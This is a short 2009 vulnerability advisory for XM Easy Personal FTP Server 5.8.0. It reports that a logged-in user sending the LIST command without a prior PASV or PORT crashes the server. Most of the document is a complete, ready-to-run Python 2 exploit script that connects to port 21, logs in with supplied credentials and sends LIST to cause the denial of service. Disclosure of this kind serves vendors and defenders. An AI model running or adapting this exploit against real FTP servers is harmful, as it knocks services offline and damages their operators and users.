XM Easy Personal FTP Server 'LIST' Command Remote DoS Vulnerability

[zhangmc () mail ustc edu cn]

Date of Discovery: 10-Nov-2009

Credits:zhangmc[at]mail.ustc.edu.cn

Vendor: Dxmsoft

Affected:
XM Easy Personal FTP Server 5.8.0
Earlier versions may also be affected

Overview:
XM Easy Personal FTP Server is a easy use FTP server Application. Denial of service vulnerability exists in XM Personal 
FTP Server that causes the application to crash when the "LIST" is sent to FTP server if you do not use "PASV" or 
"POST" first.

Details:
XM Easy Personal FTP Server can't handle "LIST" command if you do not use "PASV" or "POST" first.If you have logged on 
the server successfully,a "LIST" command will lead the ftp server to crash.

Severity:
High

Exploit example:
#!/usr/bin/python
import socket
import sys

def Usage():
    print ("Usage:  ./expl.py <serv_ip>      <Username> <password>\n")
    print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
        Usage()
        sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    sock.send("user %s\r\n" %username)
    r=sock.recv(1024)
    sock.send("pass %s\r\n" %passwd)
    r=sock.recv(1024)
    sock.send("LIST\r\n")
    sock.close()
    sys.exit(0);